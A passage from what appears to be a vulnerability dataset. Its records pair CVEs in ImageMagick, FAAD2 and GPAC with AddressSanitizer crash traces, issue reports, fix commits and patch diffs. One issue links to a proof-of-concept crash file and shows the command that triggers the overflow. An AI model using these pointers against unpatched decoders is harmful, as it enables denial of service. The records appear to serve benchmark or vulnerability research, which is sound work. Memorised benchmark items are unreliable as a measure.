#1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7
#2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36
#3 0x7f9c4c16b383 in AcquirePixelCache MagickCore/cache.c:231:30
#4 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#5 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7
#2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36
#3 0x7f9c4c16b2f4 in AcquirePixelCache MagickCore/cache.c:229:25
#4 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#5 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7
#2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36
#3 0x7f9c4c594389 in NewSplayTree MagickCore/splay-tree.c:1159:25
#4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14
#5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27
#6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10
#7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c4c16b4e2 in AcquirePixelCacheNexus MagickCore/cache.c:267:29
#3 0x7f9c4c16af8d in AcquirePixelCache MagickCore/cache.c:212:26
#4 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#5 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 2 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c593033 in AddValueToSplayTree MagickCore/splay-tree.c:189:21
#3 0x7f9c4c593f3c in CloneSplayTree MagickCore/splay-tree.c:372:12
#4 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27
#5 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10
#6 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#7 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#8 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#12 0x526f95 in MagickMain utilities/magick.c:149:10
#13 0x5268e1 in main utilities/magick.c:180:10
#14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7
#2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36
#3 0x7f9c4c3ea99f in CloneImage MagickCore/image.c:871:26
#4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7
#2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36
#3 0x7f9c4c14a1ae in GetBlobInfo MagickCore/blob.c:1745:24
#4 0x7f9c4c149d6a in CloneBlobInfo MagickCore/blob.c:555:3
#5 0x7f9c4c3ea808 in CloneImage MagickCore/image.c:867:25
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7
#2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36
#3 0x7f9c4c594389 in NewSplayTree MagickCore/splay-tree.c:1159:25
#4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14
#5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25
#6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10
#7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#14 0x526f95 in MagickMain utilities/magick.c:149:10
#15 0x5268e1 in main utilities/magick.c:180:10
#16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 62 byte(s) in 3 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26
#4 0x7f9c4c593f26 in CloneSplayTree MagickCore/splay-tree.c:373:7
#5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25
#6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10
#7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#14 0x526f95 in MagickMain utilities/magick.c:149:10
#15 0x5268e1 in main utilities/magick.c:180:10
#16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 35 byte(s) in 3 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26
#4 0x7f9c4c593ea1 in CloneSplayTree MagickCore/splay-tree.c:372:43
#5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25
#6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10
#7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#14 0x526f95 in MagickMain utilities/magick.c:149:10
#15 0x5268e1 in main utilities/magick.c:180:10
#16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 16 byte(s) in 2 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26
#4 0x7f9c4c593ea1 in CloneSplayTree MagickCore/splay-tree.c:372:43
#5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27
#6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10
#7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 7 byte(s) in 2 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26
#4 0x7f9c4c593f26 in CloneSplayTree MagickCore/splay-tree.c:373:7
#5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27
#6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10
#7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: 6613792 byte(s) leaked in 32 allocation(s).
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-23 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
---
Comment #1 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2019-13309 and CVE-2019-13310. | https://nvd.nist.gov/vuln/detail/CVE-2019-13309 | |
faad2.cve-2018-20196 | There is a stack-based buffer overflow in the third instance of the calculate_gain function in libfaad/sbr_hfadj.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. A crafted input will lead to a denial of service or possibly unspecified other impact because the S_M array is mishandled. | https://github.com/knik0/faad2/issues/19 | https://github.com/hlef/faad2/commit/6aeeaa1af0caf986daf22852a97f7c13c5edd879 | CWE-787 | hlef/faad2 | 6aeeaa1af0caf986daf22852a97f7c13c5edd879~1 | diff --git a/libfaad/sbr_fbt.c b/libfaad/sbr_fbt.c
index 5919c7b5..ee770589 100644
--- a/libfaad/sbr_fbt.c
+++ b/libfaad/sbr_fbt.c
@@ -526,6 +526,8 @@ uint8_t derived_frequency_table(sbr_info *sbr, uint8_t bs_xover_band,
}
sbr->M = sbr->f_table_res[HI_RES][sbr->N_high] - sbr->f_table_res[HI_RES][0];
+ if (sbr->M > MAX_M)
+ return 1;
sbr->kx = sbr->f_table_res[HI_RES][0];
if (sbr->kx > 32)
return 1;
diff --git a/libfaad/sbr_syntax.c b/libfaad/sbr_syntax.c
index 6c9b97c2..12ca70a5 100644
--- a/libfaad/sbr_syntax.c
+++ b/libfaad/sbr_syntax.c
@@ -196,7 +196,7 @@ uint8_t sbr_extension_data(bitfile *ld, sbr_info *sbr, uint16_t cnt,
/* if an error occured with the new header values revert to the old ones */
if (rt > 0)
{
- calc_sbr_tables(sbr, saved_start_freq, saved_stop_freq,
+ result += calc_sbr_tables(sbr, saved_start_freq, saved_stop_freq,
saved_samplerate_mode, saved_freq_scale,
saved_alter_scale, saved_xover_band);
}
@@ -215,7 +215,7 @@ uint8_t sbr_extension_data(bitfile *ld, sbr_info *sbr, uint16_t cnt,
if ((result > 0) &&
(sbr->Reset || (sbr->bs_header_flag && sbr->just_seeked)))
{
- calc_sbr_tables(sbr, saved_start_freq, saved_stop_freq,
+ result += calc_sbr_tables(sbr, saved_start_freq, saved_stop_freq,
saved_samplerate_mode, saved_freq_scale,
saved_alter_scale, saved_xover_band);
}
| https://github.com/knik0/faad2/issues/19 | ==7025==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc1ba22024 at pc 0x7ffabd7b4a49 bp 0x7ffc1ba21cd0 sp 0x7ffc1ba21cc0
WRITE of size 4 at 0x7ffc1ba22024 thread T0
#0 0x7ffabd7b4a48 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1287
#1 0x7ffabd7b2392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7ffabd7d0725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7ffabd7d17ea in sbrDecodeCoupleFrame /root/faad2_asan/libfaad/sbr_dec.c:479
#4 0x7ffabd77e11b in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1314
#5 0x7ffabd783823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#6 0x7ffabd781cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#7 0x7ffabd782398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#8 0x7ffabd73c9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7ffabd73c566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7ffabd37482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7ffc1ba22024 is located in stack of thread T0 at offset 740 in frame
#0 0x7ffabd7b37a7 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1155
This frame has 3 object(s):
[32, 228) 'Q_M_lim'
[288, 484) 'G_lim'
[544, 740) 'S_M' <== Memory access at offset 740 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/faad2_asan/libfaad/sbr_hfadj.c:1287 calculate_gain
Shadow bytes around the buggy address:
0x10000373c3b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c3c0: 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2 00 00 00 00
0x10000373c3d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c3e0: 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2 00 00 00 00
0x10000373c3f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10000373c400: 00 00 00 00[04]f4 f4 f4 f3 f3 f3 f3 00 00 00 00
0x10000373c410: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00
0x10000373c420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7025==ABORTING | === https://github.com/knik0/faad2/issues/19 ===
Title: stack-buffer-overflow in function calculate_gain(libfaad/sbr_hfadj.c:1287)
---
Body:
Hi, i found a stack-buffer-overflow bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8, the details are below(ASAN):
```
./faad faad_res/013-stack-buffer-overflow-sbr_hfadj_1287 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/013-stack-buffer-overflow-sbr_hfadj_1287 file info:
RAW
=================================================================
==7025==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc1ba22024 at pc 0x7ffabd7b4a49 bp 0x7ffc1ba21cd0 sp 0x7ffc1ba21cc0
WRITE of size 4 at 0x7ffc1ba22024 thread T0
#0 0x7ffabd7b4a48 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1287
#1 0x7ffabd7b2392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7ffabd7d0725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7ffabd7d17ea in sbrDecodeCoupleFrame /root/faad2_asan/libfaad/sbr_dec.c:479
#4 0x7ffabd77e11b in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1314
#5 0x7ffabd783823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#6 0x7ffabd781cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#7 0x7ffabd782398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#8 0x7ffabd73c9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7ffabd73c566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7ffabd37482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7ffc1ba22024 is located in stack of thread T0 at offset 740 in frame
#0 0x7ffabd7b37a7 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1155
This frame has 3 object(s):
[32, 228) 'Q_M_lim'
[288, 484) 'G_lim'
[544, 740) 'S_M' <== Memory access at offset 740 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/faad2_asan/libfaad/sbr_hfadj.c:1287 calculate_gain
Shadow bytes around the buggy address:
0x10000373c3b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c3c0: 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2 00 00 00 00
0x10000373c3d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c3e0: 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2 00 00 00 00
0x10000373c3f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10000373c400: 00 00 00 00[04]f4 f4 f4 f3 f3 f3 f3 00 00 00 00
0x10000373c410: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00
0x10000373c420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000373c450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7025==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/013-stack-buffer-overflow-sbr_hfadj_1287
---
Comment #1 by hlef:
This issue was assigned CVE-2018-20196.
I'm currently preparing a fix, will be PR-ed soon. | https://nvd.nist.gov/vuln/detail/CVE-2018-20196 | |
gpac.cve-2022-2453 | Use After Free in GitHub repository gpac/gpac prior to 2.1-DEV. | https://huntr.dev/bounties/c8c964de-046a-41b2-9ff5-e25cfdb36b5a | https://github.com/gpac/gpac/commit/dc7de8d3d604426c7a6e628d90cb9fb88e7b4c2c, https://huntr.dev/bounties/c8c964de-046a-41b2-9ff5-e25cfdb36b5a | CWE-416 | gpac/gpac | dc7de8d3d604426c7a6e628d90cb9fb88e7b4c2c~1 | diff --git a/src/bifs/field_decode.c b/src/bifs/field_decode.c
index 5537da7d3d..65d045b02a 100644
--- a/src/bifs/field_decode.c
+++ b/src/bifs/field_decode.c
@@ -427,64 +427,71 @@ GF_Err BD_DecMFFieldVec(GF_BifsDecoder * codec, GF_BitStream *bs, GF_Node *node,
e = gf_bifs_dec_sf_field(codec, bs, node, &sffield, GF_FALSE);
if (e) return e;
}
- } else {
- last = NULL;
- for (i=0; i<nbFields; i++) {
- GF_Node *new_node = gf_bifs_dec_node(codec, bs, field->NDTtype);
- if (new_node) {
- e = gf_node_register(new_node, is_mem_com ? NULL : node);
- if (e) return e;
-
- if (node) {
- /*special case for QP, register as the current QP*/
- if (gf_node_get_tag(new_node) == TAG_MPEG4_QuantizationParameter) {
- qp_local = ((M_QuantizationParameter *)new_node)->isLocal;
- /*we have a QP in the same scope, remove previous
- NB: we assume this is the right behavior, the spec doesn't say
- whether QP is cumulative or not*/
- if (qp_on) gf_bifs_dec_qp_remove(codec, GF_FALSE);
+ return GF_OK;
+ }
- e = gf_bifs_dec_qp_set(codec, new_node);
- if (e) return e;
- qp_on = 1;
- if (qp_local) qp_local = 2;
- if (codec->force_keep_qp) {
- e = gf_node_list_add_child_last(field->far_ptr, new_node, &last);
- if (e) return e;
- } else {
- gf_node_register(new_node, NULL);
- gf_node_unregister(new_node, node);
- }
- } else {
+ e = GF_OK;
+ last = NULL;
+ for (i=0; i<nbFields; i++) {
+ GF_Node *new_node = gf_bifs_dec_node(codec, bs, field->NDTtype);
+ if (new_node) {
+ e = gf_node_register(new_node, is_mem_com ? NULL : node);
+ if (e) goto exit;
+
+ if (node) {
+ /*special case for QP, register as the current QP*/
+ if (gf_node_get_tag(new_node) == TAG_MPEG4_QuantizationParameter) {
+ qp_local = ((M_QuantizationParameter *)new_node)->isLocal;
+ /*we have a QP in the same scope, remove previous
+ NB: we assume this is the right behavior, the spec doesn't say
+ whether QP is cumulative or not*/
+ if (qp_on) gf_bifs_dec_qp_remove(codec, GF_FALSE);
+
+ e = gf_bifs_dec_qp_set(codec, new_node);
+ if (e) goto exit;
+ qp_on = 1;
+ if (qp_local) qp_local = 2;
+ if (codec->force_keep_qp) {
